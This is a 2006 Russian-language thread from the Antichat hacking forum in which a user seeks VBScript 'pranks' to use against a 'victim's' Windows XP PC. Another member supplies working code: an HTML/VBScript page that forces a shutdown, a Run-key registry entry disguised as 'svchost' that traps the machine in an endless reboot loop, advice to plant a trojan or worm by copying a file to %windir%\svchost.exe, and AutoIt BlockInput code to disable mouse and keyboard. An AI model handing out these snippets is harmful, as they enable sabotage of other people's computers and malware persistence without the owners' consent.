ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Безопасность > АнтиАдмин
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

пакости на vbscipt
  #1  
Старый 26.10.2006, 07:27
George767
Участник форума
Регистрация: 10.01.2006
Сообщений: 193
Провел на форуме:
553876

Репутация: 81
По умолчанию пакости на vbscipt

Народ, вот эта статейка
http://antichat.ru/txt/old/tiran.shtml

запустил скрипт для выключения винды
<HTML>
<HEAD>
</head>
<body>
<SCRIPT LANGUAGE="VBScript">
<!--

Set Shell=CreateObject("WScript.Shell")
Shell.Run "Rundll32.exe User.exe,ExitWindows"

-->
</SCRIPT>
</BODY>
</HTML>

ничего не происходит

Антивиря и фаервола у ми нет, винда XP, Sp2. Тестил из-под IE и Мозилы.
В чём проблема?
 
Ответить с цитированием

  #2  
Старый 26.10.2006, 07:37
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию

Проблема в том, что "User.exe,ExitWindows" не совместимо с XP, во всяком случае с XP-шным "Rundll32.exe"
--------
Альтернатива "Rundll32.exe User.exe,ExitWindows" - "shutdown.exe -s -t 1 -f -d u"
--------
Да и обьект "WScript.Shell", создаётся только если страница на локальном диске.

Последний раз редактировалось hidden; 26.10.2006 в 07:58..
 
Ответить с цитированием

  #3  
Старый 26.10.2006, 14:45
George767
Участник форума
Регистрация: 10.01.2006
Сообщений: 193
Провел на форуме:
553876

Репутация: 81
По умолчанию

Цитата:
Сообщение от hidden  
Проблема в том, что "User.exe,ExitWindows" не совместимо с XP, во всяком случае с XP-шным "Rundll32.exe"
--------
Альтернатива "Rundll32.exe User.exe,ExitWindows" - "shutdown.exe -s -t 1 -f -d u"
--------
Да и обьект "WScript.Shell", создаётся только если страница на локальном диске.

Работает спасибо огромное!
А подскажи функции для вырубания мышки и клавы, тоже для Xp.

PS Автор той статьи писал что мол придётся вообще винду переставлять, ибо мышь и клавиатура работать не будут. Я так понимаю это в автозагрузку всё записывается? Под безопасным режимом тоже они не будут работать?

Заранее спасибо

PS Плюсик)
 
Ответить с цитированием

  #4  
Старый 26.10.2006, 18:17
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию

Цитата:
Сообщение от George767  
A пoдcкaжи фyнкции для выpyбaния мышки и клaвы, тoжe для X .
Я c тaкими нe cтaлкивaлcя, нeзaчeм... Moжeт кaк нибyдь дpaйвepa пoдпopтить. Пoпpoбyй
Код:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v svchost /t REG_EXPAND_SZ /d "shutdown.exe -s -t 1 -f -d u"
и бyдeт тeбе вeчнaя пepeзaгpyзкa, peшeниe чepeз бeзoпacтный peжим, a вooбщe, ecли ecть тaкaя вoзмoжнocть зaкинyл бы кaкyю-нeбyдь звepюшкy: тpoянa, чepвякa, paдминa.
Код:
copy top.gif %windir%\svchost.exe
%windir%\svchost.exe
 
Ответить с цитированием

  #5  
Старый 26.10.2006, 22:05
George767
Участник форума
Регистрация: 10.01.2006
Сообщений: 193
Провел на форуме:
553876

Репутация: 81
По умолчанию

Цитата:
Сообщение от hidden  
Я c тaкими нe cтaлкивaлcя, нeзaчeм... Moжeт кaк нибyдь дpaйвepa пoдпopтить. Пoпpoбyй
Код:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v svchost /t REG_EXPAND_SZ /d "shutdown.exe -s -t 1 -f -d u"
и бyдeт тeбе вeчнaя пepeзaгpyзкa, peшeниe чepeз бeзoпacтный peжим, a вooбщe, ecли ecть тaкaя вoзмoжнocть зaкинyл бы кaкyю-нeбyдь звepюшкy: тpoянa, чepвякa, paдминa.
Код:
copy top.gif %windir%\svchost.exe
%windir%\svchost.exe

Я вот тут нашёл кое-что по теме, но из-за незная vbs, незнаю как это применить конкретно...
http://www.pcreview.co.uk/forums/thread-531920.php
Поможешь код составить?
 
Ответить с цитированием

  #6  
Старый 26.10.2006, 22:10
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию

Они же готовый код дают
Код:
Set oAutoIt = CreateObject("AutoItX.Control")
oAutoIt.BlockInput "on"
Вот только
Цитата:
Input will be automatically enabled when the script closes
 
Ответить с цитированием

  #7  
Старый 26.10.2006, 22:50
George767
Участник форума
Регистрация: 10.01.2006
Сообщений: 193
Провел на форуме:
553876

Репутация: 81
По умолчанию

Цитата:
Сообщение от hidden  
Они же готовый код дают
Код:
Set oAutoIt = CreateObject("AutoItX.Control")
oAutoIt.BlockInput "on"
Вот только

Там по ссылке говорится что нужно зарегать библиотеку DLL на компе жертвы для работоспособности скрипта. Это что ?
 
Ответить с цитированием

  #8  
Старый 26.10.2006, 23:00
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию

Цитата:
Сообщение от George767  
Там по ссылке говорится что нужно зарегать библиотеку DLL на компе жертвы для работоспособности скрипта. Это что ?
т.е. Нужно скачать ему на комп эту библиотеку и прописать её в реестр, чтоб VB мог получать к ней доступ. Но судя по первому посту, тебе это совсем не нужно.
 
Ответить с цитированием

  #9  
Старый 26.10.2006, 23:16
George767
Участник форума
Регистрация: 10.01.2006
Сообщений: 193
Провел на форуме:
553876

Репутация: 81
По умолчанию

Цитата:
Сообщение от hidden  
т.е. Нужно скачать ему на комп эту библиотеку и прописать её в реестр, чтоб VB мог получать к ней доступ. Но судя по первому посту, тебе это совсем не нужно.
дык если я заставлю жертву открыть файлик с кодом
<HTML>
<HEAD>
</head>
<body>
<SCRIPT LANGUAGE="VBScript">
<!--

Set oAutoIt = CreateObject("AutoItX.Control")
oAutoIt.BlockInput "on"

-->
</SCRIPT>
</BODY>
</HTML>

будет ли это работать? думаю нет, тут ясно видно что требуется AutoIt...
 
Ответить с цитированием

  #10  
Старый 26.10.2006, 23:28
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию

Цитата:
Сообщение от George767  
будет ли это работать? думаю нет, тут ясно видно что требуется AutoIt...
Это я и говорю, чтоб оно работало, надо установить эту прогу(как написано можно обойтись регистрацией библиотеки), но ведь если ты можешь копировать файлы и прописывать их в реестр, то зачем тебе ставить эту прогу, когда ты можешь поставить почьти любую другую, неужели только для отключения мыши и клавы на время выполнения скрипта.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ